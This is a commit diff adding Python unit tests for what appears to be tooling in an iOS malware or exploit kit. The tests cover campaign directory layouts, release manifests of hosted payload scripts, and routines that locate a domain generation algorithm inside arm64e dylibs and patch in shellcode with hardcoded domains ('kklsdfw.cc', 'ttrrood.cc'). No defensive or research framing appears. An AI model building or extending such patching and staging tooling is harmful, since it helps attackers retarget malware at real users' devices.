fix: ios 16
This commit is contained in:
@@ -0,0 +1,50 @@
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
import sys
|
||||
|
||||
|
||||
TOOLS = Path(__file__).resolve().parents[1]
|
||||
if str(TOOLS) not in sys.path:
|
||||
sys.path.insert(0, str(TOOLS))
|
||||
|
||||
import _common
|
||||
from new_project import release_files
|
||||
|
||||
|
||||
class ChannelLayoutTest(unittest.TestCase):
|
||||
def test_shared_layout_web_under_channel(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp)
|
||||
channel = "a" * 32
|
||||
_common.set_tree_root(root, channel=channel, shared_layout=True)
|
||||
self.assertEqual(_common.CAMPAIGN_DIR, root.resolve() / "web" / channel)
|
||||
self.assertEqual(_common.SYNC_DIR, root.resolve() / "sync")
|
||||
|
||||
def test_legacy_layout_web_flat(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp)
|
||||
_common.set_tree_root(root, channel="a" * 32, shared_layout=False)
|
||||
self.assertEqual(_common.CAMPAIGN_DIR, root.resolve() / "web")
|
||||
self.assertEqual(_common.SYNC_DIR, root.resolve() / "sync")
|
||||
|
||||
def test_release_manifest_files_are_relative_and_hashed(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
root = Path(tmp)
|
||||
channel = "b" * 32
|
||||
(root / "web" / channel).mkdir(parents=True)
|
||||
(root / "sync").mkdir()
|
||||
(root / "web" / channel / "support.html").write_bytes(b"support")
|
||||
(root / "sync" / "daily.html").write_bytes(b"daily")
|
||||
|
||||
files = release_files(root, channel)
|
||||
|
||||
self.assertEqual(
|
||||
sorted(item["path"] for item in files),
|
||||
sorted([f"web/{channel}/support.html", "sync/daily.html"]),
|
||||
)
|
||||
self.assertTrue(all(len(str(item["sha256"])) == 64 for item in files))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,82 @@
|
||||
"""Tests for fixed-domain DGA discovery / shellcode placement."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import struct
|
||||
import sys
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
TOOLS = Path(__file__).resolve().parents[1]
|
||||
if str(TOOLS) not in sys.path:
|
||||
sys.path.insert(0, str(TOOLS))
|
||||
|
||||
from _common import CORE_DYLIB, GROUP_DYLIBS # noqa: E402
|
||||
from _domain_patch import ( # noqa: E402
|
||||
_AUTIBSP,
|
||||
_PACIBSP,
|
||||
_discover_dga,
|
||||
iter_slices,
|
||||
patch_fixed_domains_in_dylib,
|
||||
)
|
||||
|
||||
|
||||
class DiscoverDgaTests(unittest.TestCase):
|
||||
def test_group_b_entry_is_pacibsp_not_prev_tail_branch(self) -> None:
|
||||
blob = GROUP_DYLIBS["B"].read_bytes()
|
||||
entry, body, end = _discover_dga(blob)
|
||||
self.assertEqual(body, 0x24E5C)
|
||||
# Real entry is pacibsp; the word at body-8 is the *previous* function's `b`.
|
||||
self.assertEqual(entry, body - 4)
|
||||
self.assertEqual(struct.unpack_from("<I", blob, entry)[0], _PACIBSP)
|
||||
prev_b = struct.unpack_from("<I", blob, body - 8)[0]
|
||||
self.assertEqual(prev_b & 0xFC000000, 0x14000000)
|
||||
# Patch window must cover the arm64e autibsp return sequence.
|
||||
self.assertEqual(struct.unpack_from("<I", blob, body + 0x360)[0], _AUTIBSP)
|
||||
self.assertGreater(end, body + 0x360)
|
||||
|
||||
def test_group_a_arm64_entry_is_body(self) -> None:
|
||||
blob = GROUP_DYLIBS["A"].read_bytes()
|
||||
entry, body, end = _discover_dga(blob)
|
||||
self.assertEqual(entry, body)
|
||||
self.assertLess(entry, end)
|
||||
|
||||
def test_core_arm64e_slice_entry_is_pacibsp(self) -> None:
|
||||
data = CORE_DYLIB.read_bytes()
|
||||
pac_hits = 0
|
||||
for sl in iter_slices(data):
|
||||
blob = data[sl.file_offset : sl.file_offset + sl.size]
|
||||
entry, body, _end = _discover_dga(blob)
|
||||
if body >= 4 and struct.unpack_from("<I", blob, body - 4)[0] == _PACIBSP:
|
||||
pac_hits += 1
|
||||
self.assertEqual(entry, body - 4)
|
||||
self.assertGreaterEqual(pac_hits, 1)
|
||||
|
||||
|
||||
class FixedDomainPatchTests(unittest.TestCase):
|
||||
def test_group_b_shellcode_starts_with_pacibsp(self) -> None:
|
||||
src = GROUP_DYLIBS["B"].read_bytes()
|
||||
# Use seeds already present in the pristine type0x01.
|
||||
from _common import ORIGINAL_DEPLOYMENT_SEED, ORIGINAL_REPORTING_SEED
|
||||
|
||||
out = patch_fixed_domains_in_dylib(
|
||||
src,
|
||||
["kklsdfw.cc"],
|
||||
["ttrrood.cc"],
|
||||
deployment_seed=ORIGINAL_DEPLOYMENT_SEED,
|
||||
reporting_seed=ORIGINAL_REPORTING_SEED,
|
||||
label="test-B",
|
||||
)
|
||||
entry, body, end = _discover_dga(src)
|
||||
self.assertEqual(struct.unpack_from("<I", out, entry)[0], _PACIBSP)
|
||||
# Must not overwrite the previous function's trailing branch.
|
||||
self.assertEqual(
|
||||
struct.unpack_from("<I", out, body - 8)[0],
|
||||
struct.unpack_from("<I", src, body - 8)[0],
|
||||
)
|
||||
self.assertIn(b"kklsdfw.cc\x00", out[entry:end])
|
||||
self.assertIn(b"ttrrood.cc\x00", out[entry:end])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,62 @@
|
||||
import json
|
||||
import sys
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
TOOLS = Path(__file__).resolve().parents[1]
|
||||
if str(TOOLS) not in sys.path:
|
||||
sys.path.insert(0, str(TOOLS))
|
||||
|
||||
from patch_core import update_daily_hashes
|
||||
|
||||
|
||||
class UpdateDailyHashesTest(unittest.TestCase):
|
||||
def test_rewrites_all_urls_to_shared_sync_path(self) -> None:
|
||||
channel = "a" * 32
|
||||
source = {
|
||||
"core": {
|
||||
"url": "http://[HOST_PLACEHOLDER]/sync/erupt_flee.js",
|
||||
"sha256": "old",
|
||||
"size": 1,
|
||||
},
|
||||
"springboard_entries": [
|
||||
{
|
||||
"url": "https://[HOST_PLACEHOLDER]/sync/spring.js",
|
||||
"sha256": "old",
|
||||
"size": 2,
|
||||
}
|
||||
],
|
||||
"entries": [
|
||||
{
|
||||
"url": "http://[HOST_PLACEHOLDER]/sync/entry.js",
|
||||
"sha256": "old",
|
||||
"size": 3,
|
||||
}
|
||||
],
|
||||
}
|
||||
hashes = {
|
||||
"erupt_flee.js": ("core-hash", 10),
|
||||
"spring.js": ("spring-hash", 20),
|
||||
"entry.js": ("entry-hash", 30),
|
||||
}
|
||||
|
||||
result = json.loads(
|
||||
update_daily_hashes(
|
||||
json.dumps(source).encode(),
|
||||
hashes,
|
||||
channel=channel,
|
||||
)
|
||||
)
|
||||
|
||||
prefix = "https://[HOST_PLACEHOLDER]/sync/"
|
||||
self.assertEqual(result["core"]["url"], prefix + "erupt_flee.js")
|
||||
self.assertEqual(result["core"]["sha256"], "core-hash")
|
||||
self.assertEqual(result["springboard_entries"][0]["url"], prefix + "spring.js")
|
||||
self.assertEqual(result["springboard_entries"][0]["size"], 20)
|
||||
self.assertEqual(result["entries"][0]["url"], prefix + "entry.js")
|
||||
self.assertNotIn("/channel/", json.dumps(result))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in New Issue
Block a user